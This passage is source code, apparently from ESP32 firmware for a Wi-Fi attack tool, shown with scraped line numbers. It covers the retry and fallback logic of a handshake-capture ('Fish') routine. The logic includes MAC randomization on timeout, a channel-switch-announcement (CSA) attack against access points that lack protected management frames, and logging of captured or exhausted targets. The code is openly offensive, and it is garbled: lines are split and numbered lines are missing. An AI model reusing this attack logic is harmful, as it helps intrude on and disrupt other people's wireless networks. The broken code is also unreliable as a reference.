"[Fish] Captured!\n");
if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
return; }
2765 if (
millis() >= _probeLockEndMs) {
2766 esp_wifi_disconnect();
2768 _fishRetry++; _log(
"[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
2769 _probeLockEndMs =
millis() + _cfg.
fish_timeout_ms; _fishAuthLogged =
false; _fishAssocLogged =
false; esp_wifi_connect();
return;
2775 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2776 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2777 if (_apCache[i].flags.pmf_required &&
2778 (_apCache[i].flags.is_he || _apCache[i].flags.is_vht)) {
2779 _log(
"[Attack] PMF+%s — CSA fallback skipped\n",
2780 _apCache[i].flags.is_he ?
"HE" :
"VHT");
2788 _log(
"[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
2789 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2790 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2791 _apCache[i].last_attack_ms =
millis();
2795 memset(_fishSta, 0, 6);
2803 _csaFallbackMs =
millis() + 1000;
2808 _fishState = FISH_CSA_WAIT; _probeLocked =
true; _probeLockEndMs =
millis() + _cfg.
csa_wait_ms; _csaSecondBurstSent =
false;
2810 _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis();
2812 _log(
"[Fish] Exhausted\n");
2813 if (_attackResultCb) {
2814 AttackResultRecord r; memset(&r, 0,
sizeof(r));
2815 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2819 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2820 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2822 _markCaptured(_fishBssid);
2823 _log(
"[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2824 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2830 if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }